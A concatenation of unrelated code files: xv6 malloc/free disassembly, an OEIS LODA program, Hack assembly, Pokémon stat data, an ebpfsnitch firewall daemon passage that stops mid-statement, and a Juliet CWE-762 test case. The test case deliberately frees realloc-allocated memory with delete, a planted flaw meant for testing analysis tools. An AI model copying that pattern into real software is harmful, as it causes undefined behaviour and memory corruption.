putc(fd, *ap);
690: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
693: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
696: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
698: 6a 01 push $0x1
ap++;
69a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
69d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
6a0: 8d 45 e4 lea -0x1c(%ebp),%eax
6a3: 50 push %eax
6a4: ff 75 08 pushl 0x8(%ebp)
6a7: e8 16 fd ff ff call 3c2 <write>
ap++;
6ac: 89 7d d4 mov %edi,-0x2c(%ebp)
6af: 83 c4 10 add $0x10,%esp
state = 0;
6b2: 31 ff xor %edi,%edi
6b4: e9 8f fe ff ff jmp 548 <printf+0x48>
s = "(null)";
6b9: bb 90 08 00 00 mov $0x890,%ebx
while(*s != 0){
6be: b8 28 00 00 00 mov $0x28,%eax
6c3: e9 72 ff ff ff jmp 63a <printf+0x13a>
6c8: 66 90 xchg %ax,%ax
6ca: 66 90 xchg %ax,%ax
6cc: 66 90 xchg %ax,%ax
6ce: 66 90 xchg %ax,%ax
000006d0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
6d0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6d1: a1 e0 0b 00 00 mov 0xbe0,%eax
{
6d6: 89 e5 mov %esp,%ebp
6d8: 57 push %edi
6d9: 56 push %esi
6da: 53 push %ebx
6db: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
6de: 8d 4b f8 lea -0x8(%ebx),%ecx
6e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6e8: 39 c8 cmp %ecx,%eax
6ea: 8b 10 mov (%eax),%edx
6ec: 73 32 jae 720 <free+0x50>
6ee: 39 d1 cmp %edx,%ecx
6f0: 72 04 jb 6f6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6f2: 39 d0 cmp %edx,%eax
6f4: 72 32 jb 728 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
6f6: 8b 73 fc mov -0x4(%ebx),%esi
6f9: 8d 3c f1 lea (%ecx,%esi,8),%edi
6fc: 39 fa cmp %edi,%edx
6fe: 74 30 je 730 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
700: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
703: 8b 50 04 mov 0x4(%eax),%edx
706: 8d 34 d0 lea (%eax,%edx,8),%esi
709: 39 f1 cmp %esi,%ecx
70b: 74 3a je 747 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
70d: 89 08 mov %ecx,(%eax)
freep = p;
70f: a3 e0 0b 00 00 mov %eax,0xbe0
}
714: 5b pop %ebx
715: 5e pop %esi
716: 5f pop %edi
717: 5d pop %ebp
718: c3 ret
719: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
720: 39 d0 cmp %edx,%eax
722: 72 04 jb 728 <free+0x58>
724: 39 d1 cmp %edx,%ecx
726: 72 ce jb 6f6 <free+0x26>
{
728: 89 d0 mov %edx,%eax
72a: eb bc jmp 6e8 <free+0x18>
72c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
730: 03 72 04 add 0x4(%edx),%esi
733: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
736: 8b 10 mov (%eax),%edx
738: 8b 12 mov (%edx),%edx
73a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
73d: 8b 50 04 mov 0x4(%eax),%edx
740: 8d 34 d0 lea (%eax,%edx,8),%esi
743: 39 f1 cmp %esi,%ecx
745: 75 c6 jne 70d <free+0x3d>
p->s.size += bp->s.size;
747: 03 53 fc add -0x4(%ebx),%edx
freep = p;
74a: a3 e0 0b 00 00 mov %eax,0xbe0
p->s.size += bp->s.size;
74f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
752: 8b 53 f8 mov -0x8(%ebx),%edx
755: 89 10 mov %edx,(%eax)
}
757: 5b pop %ebx
758: 5e pop %esi
759: 5f pop %edi
75a: 5d pop %ebp
75b: c3 ret
75c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000760 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
760: 55 push %ebp
761: 89 e5 mov %esp,%ebp
763: 57 push %edi
764: 56 push %esi
765: 53 push %ebx
766: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
769: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
76c: 8b 15 e0 0b 00 00 mov 0xbe0,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
772: 8d 78 07 lea 0x7(%eax),%edi
775: c1 ef 03 shr $0x3,%edi
778: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
77b: 85 d2 test %edx,%edx
77d: 0f 84 9d 00 00 00 je 820 <malloc+0xc0>
783: 8b 02 mov (%edx),%eax
785: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
788: 39 cf cmp %ecx,%edi
78a: 76 6c jbe 7f8 <malloc+0x98>
78c: 81 ff 00 10 00 00 cmp $0x1000,%edi
792: bb 00 10 00 00 mov $0x1000,%ebx
797: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
79a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
7a1: eb 0e jmp 7b1 <malloc+0x51>
7a3: 90 nop
7a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7a8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
7aa: 8b 48 04 mov 0x4(%eax),%ecx
7ad: 39 f9 cmp %edi,%ecx
7af: 73 47 jae 7f8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
7b1: 39 05 e0 0b 00 00 cmp %eax,0xbe0
7b7: 89 c2 mov %eax,%edx
7b9: 75 ed jne 7a8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
7bb: 83 ec 0c sub $0xc,%esp
7be: 56 push %esi
7bf: e8 66 fc ff ff call 42a <sbrk>
if(p == (char*)-1)
7c4: 83 c4 10 add $0x10,%esp
7c7: 83 f8 ff cmp $0xffffffff,%eax
7ca: 74 1c je 7e8 <malloc+0x88>
hp->s.size = nu;
7cc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
7cf: 83 ec 0c sub $0xc,%esp
7d2: 83 c0 08 add $0x8,%eax
7d5: 50 push %eax
7d6: e8 f5 fe ff ff call 6d0 <free>
return freep;
7db: 8b 15 e0 0b 00 00 mov 0xbe0,%edx
if((p = morecore(nunits)) == 0)
7e1: 83 c4 10 add $0x10,%esp
7e4: 85 d2 test %edx,%edx
7e6: 75 c0 jne 7a8 <malloc+0x48>
return 0;
}
}
7e8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
7eb: 31 c0 xor %eax,%eax
}
7ed: 5b pop %ebx
7ee: 5e pop %esi
7ef: 5f pop %edi
7f0: 5d pop %ebp
7f1: c3 ret
7f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
7f8: 39 cf cmp %ecx,%edi
7fa: 74 54 je 850 <malloc+0xf0>
p->s.size -= nunits;
7fc: 29 f9 sub %edi,%ecx
7fe: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
801: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
804: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
807: 89 15 e0 0b 00 00 mov %edx,0xbe0
}
80d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
810: 83 c0 08 add $0x8,%eax
}
813: 5b pop %ebx
814: 5e pop %esi
815: 5f pop %edi
816: 5d pop %ebp
817: c3 ret
818: 90 nop
819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
820: c7 05 e0 0b 00 00 e4 movl $0xbe4,0xbe0
827: 0b 00 00
82a: c7 05 e4 0b 00 00 e4 movl $0xbe4,0xbe4
831: 0b 00 00
base.s.size = 0;
834: b8 e4 0b 00 00 mov $0xbe4,%eax
839: c7 05 e8 0b 00 00 00 movl $0x0,0xbe8
840: 00 00 00
843: e9 44 ff ff ff jmp 78c <malloc+0x2c>
848: 90 nop
849: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
850: 8b 08 mov (%eax),%ecx
852: 89 0a mov %ecx,(%edx)
854: eb b1 jmp 807 <malloc+0xa7>
|
; A053470: a(n) is the cototient of n (A051953) iterated twice.
; 0,0,0,1,0,2,0,2,1,4,0,4,0,4,1,4,0,8,0,8,3,8,0,8,1,8,3,8,0,12,0,8,1,12,1,16,0,12,7,16,0,22,0,16,9,16,0,16,1,22,1,16,0,24,7,16,9,22,0,24,0,16,9,16,1,24,0,24,5,24,0,32,0,20,11,24,1,36,0,32,9,30,0,44,9,24,1,32,0,46,1,32,13,32,1,32,0,32,15,44
seq $0,16035 ; a(n) = Sum_{j|n, 1 < j < n} phi(j). Also a(n) = n - phi(n) - 1 for n > 1.
seq $0,51953 ; Cototient(n) := n - phi(n).
|
@256
D=A
@0
M=D
@133
0;JMP
@15
M=D
@0
AM=M-1
D=M
A=A-1
D=M-D
M=0
@19
D;JNE
@0
A=M-1
M=-1
@15
A=M
0;JMP
@15
M=D
@0
AM=M-1
D=M
A=A-1
D=M-D
M=0
@35
D;JLE
@0
A=M-1
M=-1
@15
A=M
0;JMP
@15
M=D
@0
AM=M-1
D=M
A=A-1
D=M-D
M=0
@51
D;JGE
@0
A=M-1
M=-1
@15
A=M
0;JMP
@5
D=A
@1
A=M-D
D=M
@13
M=D
@0
AM=M-1
D=M
@2
A=M
M=D
D=A
@0
M=D+1
@1
D=M
@14
AM=D-1
D=M
@4
M=D
@14
AM=M-1
D=M
@3
M=D
@14
AM=M-1
D=M
@2
M=D
@14
AM=M-1
D=M
@1
M=D
@13
A=M
0;JMP
@0
A=M
M=D
@1
D=M
@0
AM=M+1
M=D
@2
D=M
@0
AM=M+1
M=D
@3
D=M
@0
AM=M+1
M=D
@4
D=M
@0
AM=M+1
M=D
@4
D=A
@13
D=D+M
@0
D=M-D
@2
M=D
@0
MD=M+1
@1
M=D
@14
A=M
0;JMP
@0
D=A
@13
M=D
@27058
D=A
@14
M=D
@145
D=A
@95
0;JMP
@15
D=A
@0
AM=M+1
A=A-1
M=D
@1
D=A
@13
M=D
@8643
D=A
@14
M=D
@163
D=A
@95
0;J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1
M=D
@400
D=A
@0
AM=M+1
A=A-1
M=D
@0
M=M+1
A=M-1
M=0
@3
D=A
@13
M=D
@652
D=A
@14
M=D
@4111
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
M=M+1
A=M-1
M=0
@238
D=A
@0
AM=M+1
A=A-1
M=D
@511
D=A
@0
AM=M+1
A=A-1
M=D
@240
D=A
@0
AM=M+1
A=A-1
M=D
@4
D=A
@13
M=D
@22354
D=A
@14
M=D
@4150
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@22
D=A
@0
AM=M+1
A=A-1
M=D
@0
M=M+1
A=M-1
M=0
@2
D=A
@13
M=D
@19350
D=A
@14
M=D
@4177
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@8
D=A
@0
AM=M+1
A=A-1
M=D
@1
D=A
@13
M=D
@25105
D=A
@14
M=D
@4200
D=A
@95
0;JMP
@83
D=A
@0
AM=M+1
A=A-1
M=D
@2
D=A
@13
M=D
@25659
D=A
@14
M=D
@4218
D=A
@95
0;JMP
@99
D=A
@0
AM=M+1
A=A-1
M=D
@2
D=A
@13
M=D
@25659
D=A
@14
M=D
@4236
D=A
@95
0;JMP
@111
D=A
@0
AM=M+1
A=A-1
M=D
@2
D=A
@13
M=D
@25659
D=A
@14
M=D
@4254
D=A
@95
0;JMP
@114
D=A
@0
AM=M+1
A=A-1
M=D
@2
D=A
@13
M=D
@25659
D=A
@14
M=D
@4272
D=A
@95
0;JMP
@101
D=A
@0
AM=M+1
A=A-1
M=D
@2
D=A
@13
M=D
@25659
D=A
@14
M=D
@4290
D=A
@95
0;JMP
@58
D=A
@0
AM=M+1
A=A-1
M=D
@2
D=A
@13
M=D
@25659
D=A
@14
M=D
@4308
D=A
@95
0;JMP
@32
D=A
@0
AM=M+1
A=A-1
M=D
@2
D=A
@13
M=D
@25659
D=A
@14
M=D
@4326
D=A
@95
0;JMP
@48
D=A
@0
AM=M+1
A=A-1
M=D
@2
D=A
@13
M=D
@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=A
@13
M=D
@6822
D=A
@14
M=D
@19520
D=A
@95
0;JMP
@0
AM=M-1
D=M
A=A-1
M=D+M
@23
D=M
@0
AM=M+1
A=A-1
M=D
@0
AM=M-1
D=M
A=A-1
M=D+M
@0
AM=M-1
D=M
@22
M=D
@2
A=M+1
D=M
@0
AM=M+1
A=A-1
M=D
@23
D=M
@0
AM=M+1
A=A-1
M=D
@2
D=A
@0
AM=M+1
A=A-1
M=D
@2
D=A
@13
M=D
@6822
D=A
@14
M=D
@19572
D=A
@95
0;JMP
@19576
D=A
@6
0;JMP
@0
AM=M-1
D=M
@21
M=D
@32
D=A
@0
AM=M+1
A=A-1
M=D
@1
D=A
@13
M=D
@19021
D=A
@14
M=D
@19599
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
M=M+1
A=M-1
M=0
@54
0;JMP
@2
A=M
D=M
@0
AM=M+1
A=A-1
M=D
@0
D=A
@13
M=D
@27034
D=A
@14
M=D
@19629
D=A
@95
0;JMP
@19633
D=A
@6
0;JMP
@0
AM=M-1
D=M
@19640
D;JNE
@19659
0;JMP
@0
D=A
@13
M=D
@20040
D=A
@14
M=D
@19652
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@19844
0;JMP
@2
A=M
D=M
@0
AM=M+1
A=A-1
M=D
@0
D=A
@13
M=D
@27042
D=A
@14
M=D
@19678
D=A
@95
0;JMP
@19682
D=A
@6
0;JMP
@0
AM=M-1
D=M
@19689
D;JNE
@19708
0;JMP
@0
D=A
@13
M=D
@20134
D=A
@14
M=D
@19701
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@19844
0;JMP
@2
A=M
D=M
@0
AM=M+1
A=A-1
M=D
@1
D=A
@13
M=D
@19021
D=A
@14
M=D
@19727
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@21
D=M
@0
AM=M+1
A=A-1
M=D
@0
A=M-1
M=!M
@0
AM=M-1
D=M
@19748
D;JNE
@19788
0;JMP
@23
D=M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@0
AM=M-1
D=M
@3
A=M+1
A=A+1
M=D
@26854
0;JMP
@1
A=M+1
A=A+1
D=M
@0
AM=M+1
A=A-1
M=D
@1
D=A
@13
M=D
@5877
D=A
@14
M=D
@27023
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
M=M+1
A=M-1
M=0
@54
0;JMP
@128
D=A
@0
AM=M+1
A=A-1
M=D
@54
0;JMP
@129
D=A
@0
AM=M+1
A=A-1
M=D
@54
0;JMP
@34
D=A
@0
AM=M+1
A=A-1
M=D
@54
0;JMP
@0
D=A
@13
M=D
@8453
D=A
@14
M=D
@27070
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
D=A
@13
M=D
@6505
D=A
@14
M=D
@27087
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
D=A
@13
M=D
@20329
D=A
@14
M=D
@27104
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
D=A
@13
M=D
@9854
D=A
@14
M=D
@27121
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
D=A
@13
M=D
@5918
D=A
@14
M=D
@27138
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
D=A
@13
M=D
@3837
D=A
@14
M=D
@27155
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
D=A
@13
M=D
@27177
D=A
@14
M=D
@27172
D=A
@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
@0
M=M+1
A=M-1
M=0
@0
A=M-1
M=!M
@0
A=M-1
M=!M
@0
AM=M-1
D=M
@27194
D;JNE
@27177
0;JMP
@0
AM=M+1
A=A-1
M=0
@2
A=M
D=M
@0
AM=M+1
A=A-1
M=D
@0
M=M+1
A=M-1
M=0
@27213
D=A
@38
0;JMP
@0
AM=M-1
D=M
@27220
D;JNE
@27241
0;JMP
@0
M=M+1
A=M-1
M=1
@1
D=A
@13
M=D
@27353
D=A
@14
M=D
@27236
D=A
@95
0;JMP
@0
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@95
0;JMP
@0
AM=M-1
D=M
@5
M=D
|
;////////////////////////////////////////////////////////////////////////////////////////////////////////
;// Part of Injectable Generic Camera System
;// Copyright(c) 2019, Frans Bouma
;// All rights reserved.
;// https://github.com/FransBouma/InjectableGenericCameraSystem
;//
;// Redistribution and use in source and binary forms, with or without
;// modification, are permitted provided that the following conditions are met :
;//
;// * Redistributions of source code must retain the above copyright notice, this
;// list of conditions and the following disclaimer.
;//
;// * Redistributions in binary form must reproduce the above copyright notice,
;// this list of conditions and the following disclaimer in the documentation
;// and / or other materials provided with the distribution.
;//
;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
;// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;////////////////////////////////////////////////////////////////////////////////////////////////////////
;---------------------------------------------------------------
; Game specific asm file to intercept execution flow to obtain addresses, prevent writes etc.
;---------------------------------------------------------------
;---------------------------------------------------------------
; Public definitions so the linker knows which names are present in this file
;---------------------------------------------------------------
;---------------------------------------------------------------
; Externs which are used and set by the system. Read / write these
; values in asm to communicate with the system
EXTERN g_cameraEnabled: byte
;---------------------------------------------------------------
;---------------------------------------------------------------
; Own externs, defined in InterceptorHelper.cpp
.data
.code
; NOT USED.
END |
db 0 ; species ID placeholder
db 40, 40, 40, 20, 70, 40
; hp atk def spd sat sdf
db FIRE, FIRE ; type
db 190 ; catch rate
db 78 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/slugma/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_INDETERMINATE, EGG_INDETERMINATE ; egg groups
; tm/hm learnset
tmhm CURSE, ROLLOUT, TOXIC, ROCK_SMASH, HIDDEN_POWER, SUNNY_DAY, SNORE, PROTECT, ENDURE, FRUSTRATION, RETURN, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, FIRE_BLAST, DEFENSE_CURL, REST, ATTRACT, FLAMETHROWER
; end
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE762_Mismatched_Memory_Management_Routines__delete_class_realloc_72b.cpp
Label Definition File: CWE762_Mismatched_Memory_Management_Routines__delete.label.xml
Template File: sources-sinks-72b.tmpl.cpp
*/
/*
* @description
* CWE: 762 Mismatched Memory Management Routines
* BadSource: realloc Allocate data using realloc()
* GoodSource: Allocate data using new
* Sinks:
* GoodSink: Deallocate data using free()
* BadSink : Deallocate data using delete
* Flow Variant: 72 Data flow: data passed in a vector from one function to another in different source files
*
* */
#include "std_testcase.h"
#include <vector>
using namespace std;
namespace CWE762_Mismatched_Memory_Management_Routines__delete_class_realloc_72
{
#ifndef OMITBAD
void badSink(vector<TwoIntsClass *> dataVector)
{
/* copy data out of dataVector */
TwoIntsClass * data = dataVector[2];
/* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may
* require a call to free() to deallocate the memory */
delete data;
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B uses the GoodSource with the BadSink */
void goodG2BSink(vector<TwoIntsClass *> dataVector)
{
TwoIntsClass * data = dataVector[2];
/* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may
* require a call to free() to deallocate the memory */
delete data;
}
/* goodB2G uses the BadSource with the GoodSink */
void goodB2GSink(vector<TwoIntsClass *> dataVector)
{
TwoIntsClass * data = dataVector[2];
/* FIX: Deallocate the memory using free() */
free(data);
}
#endif /* OMITGOOD */
} /* close namespace */
|
#include <unistd.h>
#include <fstream>
#include <iostream>
#include <string>
#include <signal.h>
#include <unistd.h>
#include <netinet/in.h>
#include <thread>
#include <arpa/inet.h>
#include <unordered_map>
#include <mutex>
#include <assert.h>
#include <algorithm>
#include <condition_variable>
#include <poll.h>
#include <sys/un.h>
#include <nlohmann/json.hpp>
#include <exception>
#include <regex>
#include <fcntl.h>
#include <string.h>
#include <grp.h>
#include <spdlog/spdlog.h>
#include <spdlog/sinks/stdout_color_sinks.h>
#include "dns_parser.hpp"
#include "ebpfsnitch_daemon.hpp"
#include "probes_compiled.h"
iptables_raii::iptables_raii(std::shared_ptr<spdlog::logger> p_log):
m_log(p_log)
{
m_log->trace("adding iptables rules");
std::system(
"iptables --append OUTPUT -t mangle --match conntrack "
"--ctstate NEW,RELATED "
"--jump NFQUEUE --queue-num 0"
);
std::system("iptables --append INPUT --jump NFQUEUE --queue-num 1");
std::system(
"iptables --insert DOCKER-USER "
"--match conntrack --ctstate NEW,RELATED "
"--out-interface docker0 --jump NFQUEUE --queue-num 0"
);
std::system("conntrack --flush");
}
iptables_raii::~iptables_raii()
{
m_log->trace("removing iptables rules");
remove_rules();
}
void
iptables_raii::remove_rules()
{
std::system(
"iptables --delete OUTPUT -t mangle --match conntrack "
"--ctstate NEW,RELATED "
"--jump NFQUEUE --queue-num 0"
);
std::system("iptables --delete INPUT --jump NFQUEUE --queue-num 1");
std::system(
"iptables --delete DOCKER-USER "
"--match conntrack --ctstate NEW,RELATED "
" --out-interface docker0 --jump NFQUEUE --queue-num 0"
);
}
ebpfsnitch_daemon::ebpfsnitch_daemon(
std::shared_ptr<spdlog::logger> p_log,
std::optional<std::string> p_group,
std::optional<std::string> p_rules_path
):
m_rule_engine(p_rules_path.value_or("rules.json")),
m_log(p_log),
m_group(p_group),
m_shutdown(false),
m_bpf_wrapper(
p_log,
std::string(
reinterpret_cast<char*>(probes_c_o), sizeof(probes_c_o)
)
),
m_process_manager(p_log)
{
m_log->trace("ebpfsnitch_daemon constructor");
m_log->trace("setting up ebpf");
m_bpf_wrapper.attach_kprobe(
"kprobe_security_socket_send_msg",
"security_socket_sendmsg",
false
);
m_bpf_wrapper.attach_kprobe(
"kretprobe_security_socket_send_msg",
"security_socket_sendmsg",
true
);
m_bpf_wrapper.attach_kprobe(
"kprobe_tcp_v4_connect",
"tcp_v4_connect",
false
);
m_bpf_wrapper.attach_kprobe(
"kretprobe_tcp_v4_connect",
"tcp_v4_connect",
true
);
m_ring_buffer = std::make_shared<bpf_wrapper_ring>(
m_bpf_wrapper.lookup_map_fd_by_name("g_probe_ipv4_events"),
std::bind(
&ebpfsnitch_daemon::bpf_reader,
this,
std::placeholders::_1,
std::placeholders::_2
)
);
m_nfq = std::make_shared<nfq_wrapper>(
0,
std::bind(
&ebpfsnitch_daemon::nfq_handler,
this,
std::placeholders::_1
)
);
m_nfq_incoming = std::make_shared<nfq_wrapper>(
1,
std::bind(
&ebpfsnitch_daemon::nfq_handler_incoming,
this,
std::placeholders::_1
)
);
m_iptables_raii = std::make_unique<iptables_raii>(p_log);
m_thread_group.push_back(
std::thread(&ebpfsnitch_daemon::filter_thread, this, m_nfq)
);
m_thread_group.push_back(
std::thread(&ebpfsnitch_daemon::filter_thread, this, m_nfq_incoming)
);
m_thread_group.push_back(
std::thread(&ebpfsnitch_daemon::probe_thread, this)
);
m_thread_group.push_back(
std::thread(&ebpfsnitch_daemon::control_thread, this)
);
}
ebpfsnitch_daemon::~ebpfsnitch_daemon()
{
m_log->trace("ebpfsnitch_daemon destructor");;
m_shutdown.store(true);
for (auto &l_thread : m_thread_group) {
l_thread.join();
}
}
void
ebpfsnitch_daemon::filter_thread(std::shared_ptr<nfq_wrapper> p_nfq)
{
m_log->trace("ebpfsnitch_daemon::filter_thread() entry");
char l_buffer[1024 * 64] __attribute__ ((aligned));
struct pollfd l_poll_fd;
l_poll_fd.fd = p_nfq->get_fd();
l_poll_fd.events = POLLIN;
while (true) {
if (m_shutdown.load()) {
break;
}
const int l_ret = poll(&l_poll_fd, 1, 1000);
if (l_ret < 0) {
m_log->error("poll() error {}", strerror(errno));
break;
} else if (l_ret == 0) {
continue;
}
p_nfq->step();
}
m_log->trace("ebpfsnitch_daemon::filter_thread() exit");
}
void
ebpfsnitch_daemon::probe_thread()
{
m_log->trace("ebpfsnitch_daemon::probe_thread() entry");
while (!m_shutdown.load()) {
m_ring_buffer->poll(100);
}
m_log->trace("ebpfsnitch_daemon::probe_thread() exit");
}
void
ebpfsnitch_daemon::bpf_reader(
void *const p_data,
const int p_data_size
){
assert(p_data);
(void)p_data_size;
const struct probe_ipv4_event_t *const l_info =
static_cast<probe_ipv4_event_t *>(p_data);
const uint16_t l_source_port = l_info->m_source_port;
const uint16_t l_destination_port = ntohs(l_info->m_destination_port);
const std::string l_destination_address =
ipv4_to_string(l_info->m_destination_address);
const std::string l_source_address =
ipv4_to_string(l_info->m_source_address);
const std::shared_ptr<const process_info_t> l_process_info =
m_process_manager.lookup_process_info(l_info->m_process_id);
if (l_process_info == nullptr) {
m_log->error("process does not exist {}", l_info->m_process_id);
return;
}
const std::string l_key =
l_source_address +
std::to_string(l_source_port) +
l_destination_address +
std::to_string(l_destination_port);
struct connection_info_t l_info2;
l_info2.m_user_id = l_info->m_user_id;
l_info2.m_process_id = l_info->m_process_id;
l_info2.m_executable = l_process_info->m_executable;
l_info2.m_container = l_process_info->m_container_id.value_or("");
{
std::lock_guard<std::mutex> l_guard(m_lock);
m_mapping[l_key] = l_info2;
}
process_unassociated();
}
bool
ebpfsnitch_daemon::process_associated_event(
const struct nfq_event_t &l_nfq_event,
const struct connection_info_t &l_info
) {
const std::optional<bool> l_verdict = m_rule_engine.get_verdict(
l_nfq_event,
l_info
);
if (l_verdict) {
if (l_verdict.value()) {
set_verdict(l_nfq_event.m_nfq_id, NF_ACCEPT);
return true;
} else {
set_verdict(l_nfq_event.m_nfq_id, NF_DROP);
return true;
}
}
return false;
}
bool
ebpfsnitch_daemon::process_nfq_event(
const struct nfq_event_t &l_nfq_event,
const bool p_queue_unassociated
) {
const std::optional<struct connection_info_t> l_optional_info =
lookup_connection_info(l_nfq_event);
if (l_optional_info) {
if (process_associated_event(l_nfq_event, l_optional_info.value())) {
return true;
}
}
if (p_queue_unassociated) {
if (l_optional_info) {
std::lock_guard<std::mutex> l_guard(m_undecided_packets_lock);
m_undecided_packets.push(l_nfq_event);
} else {
std::lock_guard<std::mutex> l_guard_undecided(
m_unassociated_packets_lock
);
m_unassociated_packets.push(l_nfq_event);
}
}
return false;
}
int
ebpfsnitch_daemon::nfq_handler(const struct nlmsghdr *const p_header)
{
struct nlattr *l_attributes[NFQA_MAX + 1] = {};
if (nfq_nlmsg_parse(p_header, l_attributes) < 0) {
m_log->error("nfq_nlmsg_parse() failed");
return MNL_CB_ERROR;
}
if (l_attributes[NFQA_PACKET_HDR] == NULL) {
m_log->error("l_attributes[NFQA_PACKET_HDR] failed");
return MNL_CB_ERROR;
}
struct nfgenmsg *const l_nfgen_message = (struct nfgenmsg *)
mnl_nlmsg_get_payload(p_header);
struct nfqnl_msg_packet_hdr *const l_packet_header =
(struct nfqnl_msg_packet_hdr *)
mnl_attr_get_payload(l_attributes[NFQA_PACKET_HDR]);
const uint16_t l_payload_length =
mnl_attr_get_payload_len(l_attributes[NFQA_PAYLOAD]);
const char *const l_data = (char *)
mnl_attr_get_payload(l_attributes[NFQA_PAYLOAD]);
const uint32_t l_packet_id = ntohl(l_packet_header->packet_id);
if (l_payload_length < 24) {
m_log->error("unknown dropping malformed");
set_verdict(l_packet_id, NF_DROP);
return MNL_CB_OK;
}
const ip_protocol_t l_proto =
